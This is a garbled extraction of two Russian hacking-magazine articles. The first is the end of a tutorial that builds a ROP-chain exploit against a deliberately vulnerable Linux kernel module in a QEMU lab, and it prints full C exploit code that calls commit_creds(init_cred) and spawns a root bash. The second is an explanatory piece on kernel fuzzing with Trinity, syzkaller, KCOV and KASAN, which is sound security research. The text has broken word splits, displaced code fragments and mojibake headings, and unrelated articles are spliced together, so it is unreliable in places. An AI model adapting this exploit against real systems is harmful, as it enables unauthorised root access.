Нам же надо най ти такой гад жет, который берет зна чение из кон тро лиру- 
емо го нами сте ка, кла дет его в регистр  и сме щает ука затель на стек. Инс- 
трук ция, иде аль но под ходящая в дан ном слу чае, — . Она возь мет зна- 
чение из сте ка в регистр и смес тит стек. Пос ле это го нам нужен , который
прыг нет по адре су , тем самым поч ти сде лав . Исполь зуя
прог рамму , мы можем най ти такой гад жет. Для это го запус каем

 и смот рим на адрес это го
учас тка кода.

RDI
pop

ret
commit_creds call

ROPGadget
ROPGadget vmlinux | grep "pop rdi ; ret"

Вы вод ROPGadget с pop rdi ; ret

Сох раним его, он нам потом понадо бит ся.

Íåáîëüøîå çàìå÷àíèå î ñîáðàííîì íàìè ÿäðå è îá óïðîùåíèÿõ

Это важ ный момент, пос коль ку мы собира ли ядро с вык лючен ной опци ей
Stack Protector buffer overow detection. Хотя мы исполь зуем это ядро как при- 
мер, вклю чение этой опции, ско рее все го, сде лает модуль неуяз вимым. Вер- 
нее, повысить при виле гии не получит ся, но мож но будет зап росто краш нуть
ядро.

Эта фун кция добав ляет «сте ковую канарей ку», слу чай ное чис ло, которое
вно сит ся на стек в начале фун кции и про веря ется в кон це. Таким обра зом,
если мы его перепи шем, ядро пой мет, что его пыта ются взло мать, и отка жет- 
ся работать.

С дру гой сто роны, ты мог заметить сло во  в парамет ре 
коман ды запус ка QEMU. Ядро, как и прог рамма в userspace, заин тересо вано
в том, что бы его не полома ли. В userspace сущес тву ет ASLR (Address Space
Layout Randomization).

nokaslr append

До пус тим, у нас есть прог рамма, которая име ет по адре су  нуж- 
ную нам фун кцию. Но она не выпол няет ся непос редс твен но в коде, и есть
дру гая фун кция, име ющая уяз вимость перепол нения буфера. Если отсутс тву- 
ет ASLR, то хакер может прыг нуть на эту фун кцию и взло мать прог рамму,
но если появ ляет ся ASLR, то адрес этой фун кции меня ется слу чай но. Таким
обра зом, хакеру сна чала надо узнать базовый адрес прог раммы и пос читать
нас тоящий адрес фун кции. Это было при дума но, что бы силь но усложнить
экс плу ата цию уяз вимос тей. В ядре же был соз дан , который ран- 
домизи рует базовый адрес ядра. Таким обра зом, адрес, который был
получен в прош лом пун кте, с  был бы неп равиль ным. Поэто му для упро- 
щения экс плу ата ции мы вык люча ем  с помощью парамет ра .

0x50000

kaslr

kaslr
kaslr nokaslr

Èòîãîâàÿ ñòðàòåãèÿ

Вкрат це нам нуж но выпол нить пять дей ствий:
1. Пе репол нить буфер мусор ными дан ными.
2. Прыг нуть на .pop rdi ; ret
3. В  записать .RDI init_cred
4. Прыг нуть на .commit_creds
5. Вер нуть ся из сис темно го вызова без про исшес твий.

Как решить задачи 2, 3 и 4, мы уже поняли, соот ветс твен но, оста ются толь ко
пун кты 1 и 5.

ÏÅÐÅÏÎËÍÅÍÈÅ

Взгля нем на код модуля, а имен но на  еще разок:vuln_write

         
  

static ssize_t vuln_write(struct file* file, const char* buf, size_t
count, loff_t *f_pos){

        char buffer[128];
        int i;

         memset(buffer, 0, 128);
              for (i = 0; i < count; i++){

                   *(buffer + i) = buf[i];
       }

         printk(KERN_INFO "Got happy data from userspace - %s", buffer
);

        return count;
}

Пос коль ку мы не зна ем, как ком пилятор будет хра нить : будет оно
на сте ке или регис тром, сто ит пос мотреть вывод дизас сем бле ра для этой
фун кции.

int i

Что бы это сде лать, нуж но под гру зить код модуля в GDB. Для это го сна чала
запус тим , который пре дос тавля ется , и най дем
адрес модуля . Зная базовый адрес модуля, мы можем под гру зить 

. Для это го выпол ним коман ду 
, где  — шес тнад цатерич ное чис ло, взя тое из .

Фун кция называ ется , поэто му сме ло пишем 
.

lx-lsmod vmlinux-gdb.py
vuln vuln.

ko add-symbol-file ./vuln/vuln.ko <
address> address lx-lsmod

vuln_write disassemble 
vuln_write

Ди засм фун кции vuln_write

Нам не нуж ны все эти страш ные инс трук ции: выберем толь ко те, которые
работа ют со сте ком. Пер вым делом идет , который в кон це будет
воз вра щен с помощью . Это зна чит, что уже занято 8 байт. Далее
идет инс трук ция , которая на самом деле
не добав ляет, а вычита ет из  —
это 128 в десятич ной сис теме. Ага, то есть фун кция алло циру ет
под себя 128 байт для буфера и еще 8 байт для сох ранения , ито го 128 +
8 = 136 байт.

push r12
pop r12

add rsp,0xffffffffffffff80
rsp~ 0x80. Заметим, что 0x80

r12

Кста ти, если пос мотреть далее, то будет вид но, что перемен ной  явля- 
ется регистр  — млад шие 32 бита регис тра . Сра зу же пос ле 136 байт
будет лежать адрес воз вра та из . То есть для того, что бы
перепол нить стек, нам надо сна чала запол нить 136 байт мусором, а потом
будет наш ROP Chain. В качес тве мусора исто ричес ки исполь зовались бук вы
А, так что пер выми в нашем экс пло ите будут 136 сим волов A. Зная,
как перепол нить стек, мы можем перей ти к пос ледне му пун кту нашей раз вле- 
катель ной прог раммы.

i
edx rdx

vuln_write

ÂÎÇÂÐÀÒ ÈÇ ÑÈÑÒÅÌÍÎÃÎ ÂÛÇÎÂÀ

Здесь воз ника ет неболь шая проб лема: мы будем переза писы вать ров но
четыре 64-бит ных зна чения на сте ке пос ле , который нам, по сути,
не нужен и не важен; тем более стек будет сме щен на эти 32 бай та. Поэто му
воз вра щать ся туда, куда дол жен изна чаль но воз вра щать ся ,
было бы край не опро мет чиво, потому что ядро может попасть на неп равиль- 
ный адрес и сло вить ошиб ку. Что бы понять, куда пры гать, надо нем ного
подеба жить и пос мотреть, куда вооб ще будет воз вра щать ся .

r12

vuln_write

vuln_write

Îòñëåæèâàíèå ðàáîòû vuln_write

Пос тавим брейк-пой нт (точ ку оста нова) на . Для это го вос поль- 
зуем ся коман дой GDB . Затем наберем 
и возоб новим работу ядра. В QEMU вве дем .
Это ини циирует запись  в . Заметим, что работа ядра при оста- 
нови лась, перехо дим обратно в GDB. С помощью коман ды  мы дол жны
дой ти до инс трук ции . Выходим из фун кции так же с помощью  и про- 
дол жаем идти, пока не дой дем до инс трук ций . Здесь мы понима ем, что их
все го шесть перед .

vuln_write
hbreak vuln_write continue

echo asdf > /dev/vuln
asdf /dev/vuln

ni
ret ni

pop
ret

Инс трук ции pop перед ret

Как было упо мяну то, про исхо дит сме щение сте ка на 32 бай та, но 8 байт
из них — обыч ный  в кон це . Это озна чает, что стек поломан
на 24 бай та. Для того что бы его выров нять, нам надо про пус тить три инс трук- 
ции . Хотя у нас и есть какой-то код перед эти ми инс трук циями, нам при- 
дет ся им пре неб речь, потому что выбора у нас осо бо нет. Запоми наем
адрес 4-й инс трук ции : тут это . Имен но на него мы и будем пры- 
гать пос ле . Наконец-то мы готовы к написа нию экс пло ита.

ret vuln_write

pop

pop pop r13
vuln_write

ÝÊÑÏËÎÈÒ

Пе ред тем как перей ти к даль нейшим дей стви ям, убе дись, что в 
уста нов лен GCC и тек сто вый редак тор, нап ример Vim. Это необ ходимо сде- 
лать вне QEMU, потому что в QEMU нет интерне та и нель зя уста новить эти
пакеты.

rootfs.img

Äîñòàåì àäðåñà

Нам нуж но дос тать пару адре сов, а имен но адрес 
и . Для это го в GDB выпол ним коман ды 
и  и получим их адре са.

init_cred
commit_creds print &init_cred
print commit_creds

Ñàì ýêñïëîèò

Пи сать мы будем на С, что дос таточ но оче вид но для экс плу ата ции ядра.
Для начала нам надо открыть  толь ко для записи. Туда мы и будем
писать буфер с полез ной наг рузкой. Полез ная наг рузка сос тоит из 136 сим- 
волов  или любых дру гих, пос ле чего идут по поряд ку адре са ,

,  и адрес воз вра та .

/dev/vuln

A pop rdi ; ret
init_cred commit_creds pop r12

Важ но заметить, что адре са будут записа ны в обратном поряд ке: нап- 
ример, если у  адрес , то он будет записан
как . Это про исхо дит потому, что
x86_64 явля ется архи тек турой . Пос ле под готов ки полез ной наг- 
рузки мы дол жны записать ее в . В резуль тате у про цес са-экс пло- 
ита дол жны быть пра ва супер поль зовате ля. Поэто му, что бы мы получи ли
шелл от име ни рута, выпол ним коман ду . Код
дол жен получить ся при мер но таким:

init_cred 0xffffffff8244d2a0
\xa0\xd2\x44\x82\xff\xff\xff\xff

little-endian
/dev/vuln

execve("/bin/bash", 0, 0);

#include <stdio.h>
#include <fcntl.h>

 int main(){
           unsigned char* kekw = malloc(168);

 

 

       memcpy(kekw,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
\x1a\x00\x81\xff\xff\xff\xff\xa0\xd2\x44\x82\xff\xff\xff\xff\x40\x45\
x08\x81\xff\xff\xff\xff\x23\x22\x1d\x81\xff\xff\xff\xff", 168);

           int fd = open("/dev/vuln", O_WRONLY);
         write(fd, kekw, 168);

         execve("/bin/bash", NULL, NULL);
}

Çàïóñê ýêñïëîèòà

Убеж даем ся, что сидим от неп ривиле гиро ван ного поль зовате ля. Залоги нив- 
шись под поль зовате лем , ком пилиру ем экс пло ит с помощью GCC,
запус каем и… Видим, что запус тился bash от име ни супер поль зовате ля.
При этом рут не вла деет бинар ником и на нем не сто ит setuid-бит, что доказы- 
вает: взлом про исхо дит имен но в ядре.

user

Как работа ет экс пло ит

ÈÒÎÃÈ

Со берем воеди но то, что мы научи лись делать:
1. Соб рали ядро с дебаг-сим волами.
2. На учи лись писать модуль и пра виль но его ком пилиро вать.
3. Соб рали rootfs, с которой ядро будет запус кать ся.
4. На писа ли неболь шие oneshot-модули для systemd.
5. На учи лись дебажить ядро с помощью GDB.
6. Уз нали о прин ципе ROP.
7. Вос поль зовались этим при емом для того, что бы взло мать ядро.

Ко неч но, это очень малень кий шаг в экс плу ата ции реаль ного ядра. Как я упо- 
минал, если бы у ядра был KASLR или Stack protector, экс плу ата ция была бы
невоз можна либо про исхо дила слож нее. Но это опыт, который в любом слу- 
чае понадо бит ся хакеру, инте ресу юще муся этой темой.

https://gef.readthedocs.io/en/master
https://en.wikipedia.org/wiki/Stack_register
https://github.com/JonathanSalwan/ROPgadget
https://en.wikipedia.org/wiki/Endianness
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Пос ледние пять лет я ищу уяз вимос ти
в ядре Linux с помощью фаз зинга. За это
вре мя я сде лал три боль ших про екта: фаз- 
зил сетевую под систе му со сто роны сис- 
темных вызовов (и написал 

 для най ден ных багов), затем фаз- 
зил ту же сеть  и,
наконец, фаз зил под систе му USB 

.

нес коль ко экс- 
пло итов

с внеш ней сто роны
со сто- 

роны устрой ств

INFO

Статья написа на редак цией «Хакера» по мотивам
док лада « » 
при учас тии док ладчи ка и изло жена от пер вого
лица с его раз решения.

Фаз зинг ядра Linux Ан дрея Конова лова

Ког да я говорю об ата ках на USB, мно гие сра зу вспо мина ют Evil HID — одну
из атак типа BadUSB. Это ког да под клю чаемое устрой ство выг лядит безобид- 
но, как флеш ка, а на самом деле ока зыва ется кла виату рой, которая авто мати- 
чес ки откры вает кон соль и дела ет что-нибудь нехоро шее.

В рам ках моей работы по фаз зингу такие ата ки меня не инте ресо вали. Я
искал в пер вую оче редь пов режде ния памяти ядра. В слу чае ата ки через USB
сце нарий похож на BadUSB: мы под клю чаем спе циаль ное USB-устрой ство
и оно начина ет делать нехоро шие вещи. Но оно не набира ет коман ды, при- 
киды ваясь кла виату рой, а экс плу ати рует уяз вимость в драй вере и получа ет
исполне ние кода внут ри ядра.

За годы работы над фаз зингом ядра у меня ско пилась кол лекция ссы лок
и нарабо ток. Я их упо рядо чил и прев ратил в док лад. Сей час я рас ска жу, какие
есть спо собы фаз зить ядро, и дам советы начина ющим иссле дова телям,
которые решат занять ся этой темой.

×ÒÎ ÒÀÊÎÅ ÔÀÇÇÈÍÃ

Фаз зинг — это спо соб искать ошиб ки в прог раммах.
Как он работа ет? Мы генери руем слу чай ные дан ные, переда ем их на вход

прог рамме и про веря ем, не сло малась ли она. Если не сло малась — генери- 
руем новый ввод. Если сло малась — прек расно, мы наш ли баг. Пред полага- 
ется, что прог рамма не дол жна падать от неожи дан ного вво да, она дол жна
этот ввод кор рек тно обра баты вать.

Кон крет ный при мер: мы берем XML-пар сер и скар мли ваем ему слу чай но сге- 
нери рован ные XML-фай лы. Если он упал — мы наш ли баг в пар сере.

Фаз зеры мож но делать для любой шту ки, которая обра баты вает вход ные
дан ные. Это может быть при ложе ние или биб лиоте ка в прос транс тве поль- 
зовате ля — юзер спей се. Это может быть ядро, может быть про шив ка,
а может быть даже железо.

Ког да мы начина ем работать над фаз зером для оче ред ной прог раммы,
нам нуж но разоб рать ся со сле дующи ми воп росами:
1.  В слу чае при ложе ния в юзер спей се —

запус тить бинар ник. А вот запус тить ядро или час ти про шив ки так прос то
не вый дет.

Êàê ïðîã ðàììó çàïóñ êàòü?

2.  Для XML-пар сера вход ные дан- 
ные — XML-фай лы. А, нап ример, бра узер и обра баты вает HTML,
и исполня ет JavaScript.

×òî ñëó æèò âõîä íûìè äàí íûìè?

3.  В прос тей шем слу чае
дан ные переда ются на стан дар тный ввод или в виде фай ла. Но прог раммы
могут получать дан ные и через дру гие каналы. Нап ример, про шив ка может
получать их от физичес ких устрой ств.

Êàê âõîä íûå äàí íûå ïðîã ðàììå ïåðåäà âàòü?

4.  «Вво дом» будем называть набор дан ных,
передан ный прог рамме на вход. В качес тве вво да мож но соз давать мас- 
сивы ран домных бай тов, а мож но делать что-нибудь более умное.

Êàê ãåíåðè ðîâàòü ââî äû?

5.  Если прог рамма упа ла — это баг.
Но сущес тву ют ошиб ки, которые не при водят к падению. При мер: утеч ка
информа ции. Такие ошиб ки тоже хочет ся находить.

Êàê îïðå äåëÿòü ôàêò îøèá êè?

6.  Мож но запус кать прог рамму
с новыми вво дами вруч ную и смот реть, не упа ла ли она. А мож но написать
скрипт, который будет делать это авто мати чес ки.

Êàê àâòî ìàòè çèðî âàòü ïðî öåññ?

Се год ня мы говорим о ядре Linux, так что в каж дом из воп росов мы можем
мыс ленно заменить сло во «прог рамма» на «ядро Linux». А теперь давай поп- 
робу ем най ти отве ты.

ÏÐÎÑÒÎÉ ÑÏÎÑÎÁ

Для начала при дума ем отве ты поп роще и раз работа ем пер вую вер сию
нашего фаз зера.

Çàïóñêàåì ÿäðî

Нач нем с того, как ядро запус кать. Здесь есть два спо соба: исполь зовать
железо (компь юте ры, телефо ны или одноплат ники) или исполь зовать вир- 
туаль ные машины (нап ример, QEMU). У каж дого свои плю сы и минусы.

Ког да запус каешь ядро на железе, то получа ешь сис тему в том виде,
в котором она работа ет в реаль нос ти. Нап ример, там дос тупны и работа ют
драй веры устрой ств. В вир туал ке дос тупны толь ко те фичи, которые она под- 
держи вает.

С дру гой сто роны, железом гораз до слож нее управлять: раз ливать ядра,
перезаг ружать в слу чае падения, собирать логи. Вир туал ка в этом пла не иде-
аль на.

Еще один плюс вир туаль ных машин — мас шта биру емость. Что бы фаз зить
на боль шем количес тве железок, их надо купить, что может быть дорого
или логис тичес ки слож но. Для мас шта биро вания фаз зинга в вир туал ках дос- 
таточ но взять машину помощ нее и запус тить их сколь ко нуж но.

Учи тывая осо бен ности каж дого из спо собов, вир туал ки выг лядят как луч ший
вари ант. Но давай для начала отве тим на осталь ные воп росы. Гля дишь, мы
при дума ем спо соб фаз зить, который не при вязан к спо собу запус ка ядра.

Ðàçáèðàåìñÿ ñî ââîäàìè

Что явля ется вход ными дан ными для ядра? Ядро обра баты вает сис темные
вызовы — сис колы (syscall). Как передать их в ядро? Давай напишем прог- 
рамму, которая дела ет пос ледова тель ность вызовов, ском пилиру ем ее
в бинарь и запус тим. Всё: ядро будет интер пре тиро вать наши вызовы.

Те перь раз берем ся с тем, какие дан ные переда вать в сис колы в качес тве
аргу мен тов и в каком поряд ке сис колы вызывать.

Са мый прос той спо соб генери ровать дан ные — брать слу чай ные бай ты.
Этот спо соб работа ет пло хо: обыч но прог раммы, вклю чая то же ядро, ожи- 
дают дан ные в более-менее кор рек тном виде. Если передать им сов сем
мусор, даже эле мен тарные про вер ки на кор рек тность не прой дут, и прог- 
рамма отка жет ся обра баты вать ввод даль ше.

Спо соб луч ше: генери ровать дан ные на осно ве грам матики. На при мере
XML-пар сера: мы можем  в грам матику зна ние о том, что XML-файл
сос тоит из XML-тегов. Таким обра зом мы обой дем эле мен тарные про вер ки
и про ник нем глуб же внутрь кода пар сера.

за ложить

Од нако для ядра такой под ход надо адап тировать: ядро при нима ет пос- 
ледова тель ность сис колов с аргу мен тами, а это не прос то мас сив бай тов,
даже сге нери рован ных по опре делен ной грам матике.

Пред ставь прог рамму из трех сис колов: , который откры вает файл,
, который совер шает опе рацию над этим фай лом, и , который

файл зак рыва ет. Для  пер вый аргу мент — это стро ка, то есть прос тая
струк тура с единс твен ным фик сирован ным полем. Для , в свою оче- 
редь, пер вый аргу мент — зна чение, которое вер нул , а тре тий — слож- 
ная струк тура с нес коль кими полями. Наконец, в  переда ется все тот же
резуль тат .

open
ioctl close

open
ioctl

open
close

open

 open , …int fd = ("/dev/something" );
ioctl(fd, SOME_IOCTL, &{0x10, ...});
close fd( );

Це ликом эта прог рамма — типич ный ввод, который обра баты вает ядро. То
есть вво ды для ядра пред став ляют собой пос ледова тель нос ти сис колов.
При чем их аргу мен ты струк туриро ваны, а их резуль тат может переда вать ся
от одно го сис кола к дру гому.

Это все похоже на API некой биб лиоте ки — его вызовы при нима ют струк- 
туриро ван ные аргу мен ты и воз вра щают резуль таты, которые могут переда- 
вать ся в сле дующие вызовы.

По луча ется, что, ког да мы фаз зим сис колы, мы фаз зим API, который пре- 
дос тавля ет ядро. Я такой под ход называю API-aware-фаз зинг.

В слу чае ядра Linux, к сожале нию, точ ного опи сания всех воз можных сис- 
колов и их аргу мен тов нет. Есть нес коль ко попыток сге нери ровать эти опи- 
сания авто мати чес ки, но ни одна из них не выг лядит удов летво ритель ной.
Поэто му единс твен ный спо соб — это написать опи сания руками.

Так и сде лаем: выберем нес коль ко сис колов и раз работа ем алго ритм
генери рова ния их пос ледова тель нос тей. Нап ример, заложим в него, что
в  дол жен переда вать ся резуль тат  и струк тура пра виль ного типа
со слу чай ными полями.
ioctl open

[Íå] àâòîìàòèçèðóåì

С авто мати заци ей пока не будем замора чивать ся: наш фаз зер в цик ле будет
генери ровать вво ды и переда вать их ядру. А мы будем вруч ную монито рить
лог ядра на пред мет оши бок типа kernel panic.

Ãîòîâî

Всё! Мы отве тили на все воп росы и раз работа ли прос той спо соб фаз зинга
ядра.

Âîï ðîñ Îò âåò

Как запус кать ядро? В QEMU или на реаль ном железе

Что будет вход ными дан ными? Сис темные вызовы

Как вход ные дан ные переда вать
ядру?

Че рез запуск исполня емо го фай- 
ла

Как генери ровать вво ды? На осно ве API ядра

Как опре делять наличие багов? По kernel panic

Как авто мати зиро вать? while (true) syscall(…)

Наш фаз зер пред став ляет собой бинар ник, который в слу чай ном поряд ке
вызыва ет сис колы с более-менее кор рек тны ми аргу мен тами. Пос коль ку
бинар ник мож но запус тить и на вир туал ке, и на железе, то фаз зер получил ся
уни вер саль ным.

Ход рас сужде ний был прос тым, но сам под ход работа ет прек расно. Если
спе циалис та по фаз зингу ядра Linux спро сить: «Какой фаз зер работа ет опи- 
сан ным спо собом?», то он сра зу ска жет: ! Да, фаз зер с таким алго рит- 
мом работы уже сущес тву ет. Одно из его пре иму ществ — он лег ко перено- 
симый. Закинул бинарь в сис тему, запус тил — и все, ты уже ищешь баги
в ядре.

Trinity

ÑÏÎÑÎÁ ÏÎËÓ×ØÅ

Фаз зер Trinity сде лали дав но, и с тех пор мысль в области фаз зинга ушла
даль ше. Давай поп робу ем улуч шить при думан ный спо соб, исполь зовав
более сов ремен ные идеи.

Ñîáèðàåì ïîêðûòèå

Идея пер вая: для генера ции вво дов исполь зовать под ход coverage-guided —
на осно ве сбор ки пок рытия кода.

Как он работа ет? Помимо генери рова ния слу чай ных вво дов с нуля, мы
под держи ваем набор ранее сге нери рован ных «инте рес ных» вво дов — кор- 
пус. И иног да, вмес то слу чай ного вво да, мы берем один ввод из кор пуса
и его слег ка модифи циру ем. Пос ле чего мы исполня ем прог рамму с новым
вво дом и про веря ем, инте ресен ли он. А инте ресен ввод в том слу чае, если
он поз воля ет пок рыть учас ток кода, который ни один из пре дыду щих
исполнен ных вво дов не пок рыва ет. Если новый ввод поз волил прой ти даль ше
вглубь прог раммы, то мы добав ляем его в кор пус. Таким обра зом, мы пос- 
тепен но про ника ем все глуб же и глуб же, а в кор пусе собира ются все более
и более инте рес ные прог раммы.

Этот под ход исполь зует ся в двух основных инс тру мен тах для фаз зинга при- 
ложе ний в юзер спей се:  и .AFL libFuzzer

Coverage-guided-под ход мож но ском биниро вать с исполь зовани ем грам- 
матики. Если мы модифи циру ем струк туру, можем делать это в соот ветс твии
с ее грам матикой, а не прос то слу чай но выкиды вать бай ты. А если вво дом
явля ется пос ледова тель ность сис колов, то изме нять ее мож но, добав ляя
или уда ляя вызовы, перес тавляя их мес тами или меняя их аргу мен ты.

Для coverage-guided-фаз зинга ядра нам нужен спо соб собирать
информа цию о пок рытии кода. Для этой цели был раз работан инс тру мент

. Он тре бует дос тупа к исходни кам, но для ядра у нас они есть. Что бы
вклю чить KCOV, нуж но пересоб рать ядро с вклю чен ной опци ей ,
пос ле чего пок рытие кода ядра мож но собирать через 

.

KCOV
CONFIG_KCOV

/sys/kernel/debug/
kcov

INFO

KCOV поз воля ет собирать пок рытие кода ядра
с текуще го потока, игно рируя фоновые про цес сы.
Таким обра зом, фаз зер может собирать релеван- 
тное пок рытие толь ко для тех сис колов, которые
он исполня ет.

Ëîâèì áàãè

Те перь давай при дума ем что-нибудь получ ше для обна руже ния багов, чем
выпаде ние в kernel panic.

Па ника в качес тве инди като ра багов работа ет пло хо. Во-пер вых, некото- 
рые баги ее не вызыва ют, как упо мяну тые утеч ки информа ции. Во-вто рых,
в слу чае пов режде ния памяти паника может слу чить ся нам ного поз же, чем
про изо шел сам сбой. В таком слу чае баг очень слож но локали зовать —
непонят но, какое из пос ледних дей ствий фаз зера его выз вало.

Для решения этих проб лем при дума ли динами чес кие детек торы багов.
Сло во «динами чес кие» озна чает, что они работа ют в про цес се исполне ния
прог раммы. Они ана лизи руют ее дей ствия в соот ветс твии со сво им алго рит- 
мом и пыта ются пой мать момент, ког да про изош ло что-то пло хое.

Для ядра таких детек торов нес коль ко. Самый кру той из них — . Крут
он не потому, что я над ним работал, а потому, что он находит глав ные типы
пов режде ний памяти: выходы за гра ницы мас сива и use-after-free. Для его
исполь зования дос таточ но вклю чить опцию , и KASAN будет
работать в фоне, записы вая репор ты об ошиб ках в лог ядра при обна руже- 
нии.

KASAN

CONFIG_KASAN

INFO

Боль ше о динами чес ких детек торах для ядра
мож но узнать из док лада 

 Дмит- 
рия Вьюко ва ( ).

Mentorship Session:
Dynamic Program Analysis for Fun and Prot

слай ды

Àâòîìàòèçèðóåì

Что каса ется авто мати зации, то тут мож но при думать мно го все го инте рес- 
ного. Авто мати чес ки мож но:

мо нито рить логи ядра на пред мет падений и сра баты ваний динами чес ких
детек торов;

•

пе реза пус кать вир туаль ные машины с упав шими ядра ми;•
про бовать вос про изво дить падения, запус кая пос ледние нес коль ко вво- 
дов, которые были исполне ны до падения;

•

со общать о най ден ных ошиб ках раз работ чикам ядра.•

Как это все сде лать? Написать код и вклю чить его в наш фаз зер. Исклю- 
читель но инже нер ная задача.

Âñå âìåñòå

Возь мем эти три идеи — coverage-guided-под ход, исполь зование динами- 
чес ких детек торов и авто мати зацию про цес са фаз зинга — и вклю чим в наш
фаз зер. У нас получит ся сле дующая кар тина.

Âîï ðîñ Îò âåò

Как запус кать ядро? В QEMU или на реаль ном железе

Что будет вход ными дан ными? Сис темные вызовы

Как вход ные дан ные переда вать
ядру?

Че рез запуск исполня емо го фай- 
ла

Как генери ровать вво ды? Зна ние API + KCOV

Как опре делять наличие багов? KASAN и дру гие детек торы

Как авто мати зиро вать? Все перечис ленные выше шту ки

Ес ли опять-таки спро сить зна юще го челове ка, какой фаз зер ядра исполь зует
эти под ходы, тебе сра зу отве тят: . Сей час syzkaller — это передо вой
фаз зер ядра Linux. Он нашел  оши бок, вклю чая экс плу ати руемые уяз- 
вимос ти. Прак тичес ки любой, кто занимал ся фаз зингом ядра, имел дело
с этим фаз зером.

syzkaller
ты сячи

INFO

Иног да мож но услы шать, что KASAN явля ется
неот делимой частью syzkaller. Это не так. KASAN
мож но исполь зовать и с Trinity, а syzkaller — и без
KASAN.

Продолжение статьи →

mailto:adech.fo@gmail.com
https://github.com/xairy/kernel-exploits
https://github.com/google/syzkaller/blob/master/docs/linux/external_fuzzing_network.md
https://docs.google.com/presentation/d/10V_msbtEap9dNerKvTrRAzvfzYdrQFC8e2NYHCZYJDE/edit?usp=sharing
https://2021.phdays.com/ru/program/reports/fuzzing-the-linux-kernel/
https://xairy.io/
https://www.fuzzingbook.org/html/GreyboxGrammarFuzzer.html#Parsing-and-Recombining-HTML
https://github.com/kernelslacker/trinity
https://github.com/google/AFL
https://llvm.org/docs/LibFuzzer.html
https://www.kernel.org/doc/html/latest/dev-tools/kcov.html
https://www.kernel.org/doc/html/latest/dev-tools/kasan.html
https://www.youtube.com/watch?v=ufcyOkgFZ2Q
https://linuxfoundation.org/wp-content/uploads/Dynamic-program-analysis_-LF-Mentorship.pdf
https://github.com/google/syzkaller
https://syzkaller.appspot.com/


РАСПУШИ ПИНГВИНА!
РАЗБИРАЕМ СПОСОБЫ ФАЗЗИНГА

ЯДРА LINUX

COVERSTORY  НАЧАЛО СТАТЬИ←

ÍÀÂÎÐÎ×ÅÍÍÛÅ ÈÄÅÈ

Ис поль зовать идеи syzkaller — это креп кий под ход к фаз зингу ядра. Но давай
пой дем даль ше и обсу дим, как наш фаз зер мож но сде лать еще более
наворо чен ным.

Âûòàñêèâàåì êîä â þçåðñïåéñ

Мы обсужда ли два вари анта, как запус тить ядро для фаз зинга: исполь зовать
вир туал ки или желез ки. Но есть еще один спо соб: мож но вытащить код ядра
в юзер спейс. Для это го нуж но взять какую-нибудь изо лиро ван ную под систе- 
му и ском пилиро вать ее как биб лиоте ку. Тог да ее мож но будет пофаз зить
с помощью инс тру мен тов для фаз зинга обыч ных при ложе ний.

Для некото рых под систем это сде лать нес ложно. Если под систе ма прос то
выделя ет память с помощью  и осво бож дает ее через  и на
этом при вяз ка к ядер ным фун кци ям закан чива ется, тог да мы можем заменить

 на  и  на . Даль ше мы ком пилиру ем код как биб- 
лиоте ку и фаз зим с помощью того же .

kmalloc kfree

kmalloc malloc kfree free
libFuzzer

Для боль шинс тва под систем с этим под ходом воз никнут слож ности. Тре- 
буемая под систе ма может исполь зовать API, которые в юзер спей се поп росту
недос тупны. Нап ример, RCU.

INFO

 (Read-Copy-Update) — механизм син хро- 
низа ции в ядре Linux.
RCU

Еще один минус это го под хода в том, что если вытащен ный в юзер спейс код
обно вил ся, то его при дет ся вытас кивать заново. Мож но поп робовать этот
про цесс авто мати зиро вать, но это может быть слож но.

Этот под ход исполь зовал ся для фаз зинга ,  и 
 ядра XNU.

eBPF ASN.1-пар серов се- 
тевой под систе мы

Ôàççèì âíåøíèå èíòåðôåéñû

Дан ные из юзер спей са в ядро могут переда вать ся через сис колы; о них мы
уже говори ли. Но пос коль ку ядро — это прос лой ка меж ду железом и прог- 
рамма ми поль зовате ля, у него есть так же вхо ды и со сто роны устрой ств.

Дру гими сло вами, ядро обра баты вает дан ные, при ходя щие через Ethernet,
USB, Bluetooth, NFC, мобиль ные сети и про чие железяч ные про токо лы.

Нап ример, мы пос лали на сис тему TCP-пакет. Ядро дол жно его рас- 
парсить, что бы понять, на какой порт он при шел и какому при ложе нию его
дос тавить. Отправ ляя слу чай но сге нери рован ные TCP-пакеты, мы можем
фаз зить сетевую под систе му с внеш ней сто роны.

Воз ника ет воп рос: как дос тавлять в ядро дан ные со сто роны внеш них
интерфей сов? Сис колы мы прос то зва ли из бинар ника, а если мы хотим
общать ся с ядром по USB, то такой под ход не прой дет.

Дос тавлять дан ные мож но через реаль ное железо: нап ример, отправ лять
сетевые пакеты по сетево му кабелю или исполь зовать  для USB.
Но такой под ход пло хо мас шта биру ется: хочет ся иметь воз можность фаз зить
внут ри вир туал ки.

Facedancer

Здесь есть два решения.
Пер вое — это написать свой драй вер, который вот кнет ся в нуж ное мес то

внут ри ядра и дос тавит туда наши дан ные. А самому драй веру дан ные мы
будем переда вать через сис колы. Для некото рых интерфей сов такие драй- 
веры уже есть в ядре.

Нап ример, сеть я фаз зил через . Этот интерфейс поз воля ет
отправ лять в ядро сетевые пакеты так, что пакет про ходит через те же самые
пути пар синга, как если бы он при шел извне. В свою оче редь, для фаз зинга
USB мне приш лось написать .

TUN/TAP

свой драй вер
Вто рое решение — дос тавлять ввод в ядро вир туаль ной машины со сто- 

роны хос та. Если вир туал ка эму лиру ет сетевую кар ту, она может сэмули- 
ровать и ситу ацию, ког да на сетевую кар ту при шел пакет.

Та кой под ход при меня ется в фаз зере . В нем исполь зовали QEMU
и про токол , который поз воля ет с хос та под клю чать USB-устрой ства
внутрь вир туал ки.

vUSBf
usbredir

Çà ïðåäåëàìè API-aware-ôàççèíãà

Ра нее мы смот рели на сис колы как на пос ледова тель нос ти вызовов со струк- 
туриро ван ными аргу мен тами, где резуль тат одно го сис кола может исполь- 
зовать ся в сле дующем. Но не все сис колы работа ют таким прос тым обра зом.

При мер:  и . Да, они тоже при нима ют аргу мен ты, тоже
могут вер нуть резуль тат, но при этом они порож дают еще один поток
исполне ния.  соз дает новый про цесс, а  поз воля ет нас тро ить
обра бот чик сиг нала, которо му передас тся управле ние, ког да этот сиг нал
при дет.

clone sigaction

clone sigaction

Хо роший фаз зер для этих сис колов дол жен учи тывать эту осо бен ность и,
нап ример, фаз зить из каж дого порож денно го потока исполне ния.

О сложных подсистемах
Есть еще под систе мы eBPF и KVM. В качес тве вво дов вмес то прос тых струк- 
